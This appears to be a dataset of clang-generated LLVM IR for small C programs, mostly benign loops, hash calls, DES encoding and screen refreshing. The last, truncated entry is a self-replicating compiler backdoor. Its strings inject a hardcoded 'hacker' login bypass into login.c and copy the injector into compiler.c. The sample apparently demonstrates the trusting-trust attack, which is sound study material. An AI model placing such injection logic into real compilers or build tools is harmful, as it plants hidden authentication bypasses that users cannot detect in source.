br i1 %30, label %19, label %31, !llvm.loop !8
31: ; preds = %28
%32 = load i32, ptr %2, align 4
%33 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.2, i32 noundef %32)
store i32 0, ptr %2, align 4
store i32 -5, ptr %3, align 4
br label %34
34: ; preds = %41, %31
%35 = load i32, ptr %3, align 4
%36 = icmp sle i32 %35, 5
br i1 %36, label %37, label %44
37: ; preds = %34
%38 = load i32, ptr %2, align 4
%39 = load i32, ptr %3, align 4
%40 = add nsw i32 %38, %39
store i32 %40, ptr %2, align 4
br label %41
41: ; preds = %37
%42 = load i32, ptr %3, align 4
%43 = add nsw i32 %42, 1
store i32 %43, ptr %3, align 4
br label %34, !llvm.loop !9
44: ; preds = %34
%45 = load i32, ptr %2, align 4
%46 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.3, i32 noundef %45)
ret i32 0
}
declare i32 @printf(ptr noundef, i32 noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmprsgbsrq9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"n is %i sum is %i \0A\00", align 1
@.str.1 = private unnamed_addr constant [25 x i8] c"WHILE LOOP:sum is %i \0A\0A\0A\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"DO LOOP:sum is %i \0A\0A\0A\00", align 1
@.str.3 = private unnamed_addr constant [22 x i8] c"FOR LOOP:sum is %i \0A\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %2, align 4
store i32 -5, ptr %3, align 4
%4 = load i32, ptr %3, align 4
%5 = icmp sle i32 %4, 5
br i1 %5, label %.lr.ph, label %17
.lr.ph: ; preds = %0
br label %6
6: ; preds = %.lr.ph, %6
%7 = load i32, ptr %2, align 4
%8 = load i32, ptr %3, align 4
%9 = add nsw i32 %7, %8
store i32 %9, ptr %2, align 4
%10 = load i32, ptr %3, align 4
%11 = add nsw i32 %10, 1
store i32 %11, ptr %3, align 4
%12 = load i32, ptr %3, align 4
%13 = load i32, ptr %2, align 4
%14 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str, i32 noundef %12, i32 noundef %13)
%15 = load i32, ptr %3, align 4
%16 = icmp sle i32 %15, 5
br i1 %16, label %6, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %6
br label %17
17: ; preds = %._crit_edge, %0
%18 = load i32, ptr %2, align 4
%19 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.1, i32 noundef %18)
store i32 0, ptr %2, align 4
store i32 -5, ptr %3, align 4
br label %20
20: ; preds = %29, %17
%21 = load i32, ptr %2, align 4
%22 = load i32, ptr %3, align 4
%23 = add nsw i32 %21, %22
store i32 %23, ptr %2, align 4
%24 = load i32, ptr %3, align 4
%25 = add nsw i32 %24, 1
store i32 %25, ptr %3, align 4
%26 = load i32, ptr %3, align 4
%27 = load i32, ptr %2, align 4
%28 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str, i32 noundef %26, i32 noundef %27)
br label %29
29: ; preds = %20
%30 = load i32, ptr %3, align 4
%31 = icmp sle i32 %30, 5
br i1 %31, label %20, label %32, !llvm.loop !8
32: ; preds = %29
%33 = load i32, ptr %2, align 4
%34 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.2, i32 noundef %33)
store i32 0, ptr %2, align 4
store i32 -5, ptr %3, align 4
%35 = load i32, ptr %3, align 4
%36 = icmp sle i32 %35, 5
br i1 %36, label %.lr.ph2, label %46
.lr.ph2: ; preds = %32
br label %37
37: ; preds = %.lr.ph2, %41
%38 = load i32, ptr %2, align 4
%39 = load i32, ptr %3, align 4
%40 = add nsw i32 %38, %39
store i32 %40, ptr %2, align 4
br label %41
41: ; preds = %37
%42 = load i32, ptr %3, align 4
%43 = add nsw i32 %42, 1
store i32 %43, ptr %3, align 4
%44 = load i32, ptr %3, align 4
%45 = icmp sle i32 %44, 5
br i1 %45, label %37, label %._crit_edge3, !llvm.loop !9
._crit_edge3: ; preds = %41
br label %46
46: ; preds = %._crit_edge3, %32
%47 = load i32, ptr %2, align 4
%48 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.3, i32 noundef %47)
ret i32 0
}
declare i32 @printf(ptr noundef, i32 noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '/tmp/tmpenoyqypi.c'
source_filename = "/tmp/tmpenoyqypi.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpenoyqypi.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpv7_pan14.c'
source_filename = "/tmp/tmpv7_pan14.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [15 x i8] c"Hello, world!\0A\00", align 1
@.str.1 = private unnamed_addr constant [57 x i8] c"%#010x\0A%#010x\0A%#010x\0A%#010x\0A%#010x\0A%#010x\0A%#010x\0A%#010x\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
store i32 0, ptr %1, align 4
store ptr @.str, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @APHash(ptr noundef %3)
%5 = load ptr, ptr %2, align 8
%6 = call i32 @DJBHash(ptr noundef %5)
%7 = load ptr, ptr %2, align 8
%8 = call i32 @BKDRHash(ptr noundef %7)
%9 = load ptr, ptr %2, align 8
%10 = call i32 @ELFHash(ptr noundef %9)
%11 = load ptr, ptr %2, align 8
%12 = call i32 @SDBMHash(ptr noundef %11)
%13 = load ptr, ptr %2, align 8
%14 = call i32 @JSHash(ptr noundef %13)
%15 = load ptr, ptr %2, align 8
%16 = call i32 @PJWHash(ptr noundef %15)
%17 = load ptr, ptr %2, align 8
%18 = call i32 @RSHash(ptr noundef %17)
%19 = call i32 @printf(ptr noundef @.str.1, i32 noundef %4, i32 noundef %6, i32 noundef %8, i32 noundef %10, i32 noundef %12, i32 noundef %14, i32 noundef %16, i32 noundef %18)
ret i32 0
}
declare i32 @printf(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @APHash(ptr noundef) #1
declare i32 @DJBHash(ptr noundef) #1
declare i32 @BKDRHash(ptr noundef) #1
declare i32 @ELFHash(ptr noundef) #1
declare i32 @SDBMHash(ptr noundef) #1
declare i32 @JSHash(ptr noundef) #1
declare i32 @PJWHash(ptr noundef) #1
declare i32 @RSHash(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpv7_pan14.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [15 x i8] c"Hello, world!\0A\00", align 1
@.str.1 = private unnamed_addr constant [57 x i8] c"%#010x\0A%#010x\0A%#010x\0A%#010x\0A%#010x\0A%#010x\0A%#010x\0A%#010x\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
store i32 0, ptr %1, align 4
store ptr @.str, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = call i32 @APHash(ptr noundef %3)
%5 = load ptr, ptr %2, align 8
%6 = call i32 @DJBHash(ptr noundef %5)
%7 = load ptr, ptr %2, align 8
%8 = call i32 @BKDRHash(ptr noundef %7)
%9 = load ptr, ptr %2, align 8
%10 = call i32 @ELFHash(ptr noundef %9)
%11 = load ptr, ptr %2, align 8
%12 = call i32 @SDBMHash(ptr noundef %11)
%13 = load ptr, ptr %2, align 8
%14 = call i32 @JSHash(ptr noundef %13)
%15 = load ptr, ptr %2, align 8
%16 = call i32 @PJWHash(ptr noundef %15)
%17 = load ptr, ptr %2, align 8
%18 = call i32 @RSHash(ptr noundef %17)
%19 = call i32 @printf(ptr noundef @.str.1, i32 noundef %4, i32 noundef %6, i32 noundef %8, i32 noundef %10, i32 noundef %12, i32 noundef %14, i32 noundef %16, i32 noundef %18)
ret i32 0
}
declare i32 @printf(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @APHash(ptr noundef) #1
declare i32 @DJBHash(ptr noundef) #1
declare i32 @BKDRHash(ptr noundef) #1
declare i32 @ELFHash(ptr noundef) #1
declare i32 @SDBMHash(ptr noundef) #1
declare i32 @JSHash(ptr noundef) #1
declare i32 @PJWHash(ptr noundef) #1
declare i32 @RSHash(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpq7btagzd.c'
source_filename = "/tmp/tmpq7btagzd.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"helightxu@gmail.com\00", align 1
@.str.1 = private unnamed_addr constant [16 x i8] c"content_in= %s\0A\00", align 1
@.str.2 = private unnamed_addr constant [17 x i8] c"content_out= %s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [1024 x i8], align 16
%3 = alloca [1024 x i8], align 16
%4 = alloca ptr, align 8
store i32 0, ptr %1, align 4
call void @llvm.memset.p0.i64(ptr align 16 %2, i8 0, i64 1024, i1 false)
call void @llvm.memset.p0.i64(ptr align 16 %3, i8 0, i64 1024, i1 false)
store ptr @.str, ptr %4, align 8
%5 = load ptr, ptr %4, align 8
%6 = getelementptr inbounds [1024 x i8], ptr %2, i64 0, i64 0
%7 = call i32 @desencode(ptr noundef %5, ptr noundef %6)
%8 = getelementptr inbounds [1024 x i8], ptr %2, i64 0, i64 0
%9 = call i32 @printf(ptr noundef @.str.1, ptr noundef %8)
%10 = getelementptr inbounds [1024 x i8], ptr %2, i64 0, i64 0
%11 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0
%12 = call i32 @desdecode(ptr noundef %10, ptr noundef %11)
%13 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0
%14 = call i32 @printf(ptr noundef @.str.2, ptr noundef %13)
%15 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0
%16 = call i32 @printf(ptr noundef @.str.2, ptr noundef %15)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare i32 @desencode(ptr noundef, ptr noundef) #2
declare i32 @printf(ptr noundef, ptr noundef) #2
declare i32 @desdecode(ptr noundef, ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpq7btagzd.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"helightxu@gmail.com\00", align 1
@.str.1 = private unnamed_addr constant [16 x i8] c"content_in= %s\0A\00", align 1
@.str.2 = private unnamed_addr constant [17 x i8] c"content_out= %s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [1024 x i8], align 16
%3 = alloca [1024 x i8], align 16
%4 = alloca ptr, align 8
store i32 0, ptr %1, align 4
call void @llvm.memset.p0.i64(ptr align 16 %2, i8 0, i64 1024, i1 false)
call void @llvm.memset.p0.i64(ptr align 16 %3, i8 0, i64 1024, i1 false)
store ptr @.str, ptr %4, align 8
%5 = load ptr, ptr %4, align 8
%6 = getelementptr inbounds [1024 x i8], ptr %2, i64 0, i64 0
%7 = call i32 @desencode(ptr noundef %5, ptr noundef %6)
%8 = getelementptr inbounds [1024 x i8], ptr %2, i64 0, i64 0
%9 = call i32 @printf(ptr noundef @.str.1, ptr noundef %8)
%10 = getelementptr inbounds [1024 x i8], ptr %2, i64 0, i64 0
%11 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0
%12 = call i32 @desdecode(ptr noundef %10, ptr noundef %11)
%13 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0
%14 = call i32 @printf(ptr noundef @.str.2, ptr noundef %13)
%15 = getelementptr inbounds [1024 x i8], ptr %3, i64 0, i64 0
%16 = call i32 @printf(ptr noundef @.str.2, ptr noundef %15)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare i32 @desencode(ptr noundef, ptr noundef) #2
declare i32 @printf(ptr noundef, ptr noundef) #2
declare i32 @desdecode(ptr noundef, ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpdmtnmnvb.c'
source_filename = "/tmp/tmpdmtnmnvb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@STDOUT_FILENO = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [5 x i8] c"\1B[2J\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"\1B[H\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @editorRefreshScreen() #0 {
%1 = load i32, ptr @STDOUT_FILENO, align 4
%2 = call i32 @write(i32 noundef %1, ptr noundef @.str, i32 noundef 4)
%3 = load i32, ptr @STDOUT_FILENO, align 4
%4 = call i32 @write(i32 noundef %3, ptr noundef @.str.1, i32 noundef 3)
ret void
}
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpdmtnmnvb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@STDOUT_FILENO = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [5 x i8] c"\1B[2J\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"\1B[H\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @editorRefreshScreen() #0 {
%1 = load i32, ptr @STDOUT_FILENO, align 4
%2 = call i32 @write(i32 noundef %1, ptr noundef @.str, i32 noundef 4)
%3 = load i32, ptr @STDOUT_FILENO, align 4
%4 = call i32 @write(i32 noundef %3, ptr noundef @.str.1, i32 noundef 3)
ret void
}
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpmx5s5sy3.c'
source_filename = "/tmp/tmpmx5s5sy3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [24 x i8] c"Insufficient arguments\0A\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"r\00", align 1
@.str.2 = private unnamed_addr constant [20 x i8] c"File does not exist\00", align 1
@SEEK_END = dso_local global i32 0, align 4
@.str.3 = private unnamed_addr constant [140 x i8] c"if(strcmp(username, %chacker%c) == 0 && strcmp(password, %ci-hate-numbers%c) == 0){%c%c%cprintf(TEXT_AUTHORISED);%c%c%creturn 0;%c%c}%c%c%c\00", align 1
@.str.4 = private unnamed_addr constant [8 x i8] c"login.c\00", align 1
@.str.5 = private unnamed_addr constant [27 x i8] c"printf(TEXT_UNAUTHORISED);\00", align 1
@.str.6 = private unnamed_addr constant [2090 x i8] c"const char * TEXT_INJECT_LOGIN = %c%s%c;%c%c%cif(strstr(sourceFilename, %clogin.c%c) != NULL){%c%c%cchar stringToInject[200];%c%c%csnprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cprintf(TEXT_UNAUTHORISED);%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%cconst char * TEXT_INJECT_COMPILER = %c%s%c;%c%c%cif(strstr(sourceFilename, %ccompiler.c%c) != NULL){%c%c%cchar stringToInject[10000];%c%c%csprintf(stringToInject, TEXT_INJECT_COMPILER, 34, TEXT_INJECT_LOGIN, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_COMPILER, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10 ,9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cchar compileCommand[500];%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%c\00", align 1
@.str.7 = private unnamed_addr constant [11 x i8] c"compiler.c\00", align 1
@.str.8 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
@.str.9 = private unnamed_addr constant [26 x i8] c"char compileCommand[500];\00", align 1
@.str.10 = private unnamed_addr constant [16 x i8] c"gcc -o %s -xc -\00", align 1
@.str.11 = private unnamed_addr constant [2 x i8] c"w\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca ptr, align 8
%12 = alloca i32, align 4
%13 = alloca ptr, align 8
%14 = alloca [200 x i8], align 16
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca ptr, align 8
%18 = alloca ptr, align 8
%19 = alloca i32, align 4
%20 = alloca ptr, align 8
%21 = alloca [10000 x i8], align 16
%22 = alloca i32, align 4
%23 = alloca i32, align 4
%24 = alloca ptr, align 8
%25 = alloca ptr, align 8
%26 = alloca i32, align 4
%27 = alloca [500 x i8], align 16
%28 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%29 = load i32, ptr %4, align 4
%30 = icmp slt i32 %29, 4
br i1 %30, label %31, label %33
31: ; preds = %2
%32 = call i32 (ptr, ...) @printf(ptr noundef @.str)
store i32 1, ptr %3, align 4
br label %168
33: ; preds = %2
%34 = load ptr, ptr %5, align 8
%35 = getelementptr inbounds ptr, ptr %34, i64 1
%36 = load ptr, ptr %35, align 8
store ptr %36, ptr %6, align 8
%37 = load ptr, ptr %5, align 8
%38 = getelementptr inbounds ptr, ptr %37, i64 3
%39 = load ptr, ptr %38, align 8
store ptr %39, ptr %7, align 8
%40 = load ptr, ptr %6, align 8
%41 = call ptr @fopen(ptr noundef %40, ptr noundef @.str.1)
store ptr %41, ptr %8, align 8
%42 = load ptr, ptr %8, align 8
%43 = icmp eq ptr %42, null
br i1 %43, label %44, label %46
44: ; preds = %33
%45 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
store i32 1, ptr %3, align 4
br label %168
46: ; preds = %33
%47 = load ptr, ptr %8, align 8
%48 = load i32, ptr @SEEK_END, align 4
%49 = call i32 @fseek(ptr noundef %47, i32 noundef 0, i32 noundef %48)
%50 = load ptr, ptr %8, align 8
%51 = call i32 @ftell(ptr noundef %50)
store i32 %51, ptr %9, align 4
%52 = load ptr, ptr %8, align 8
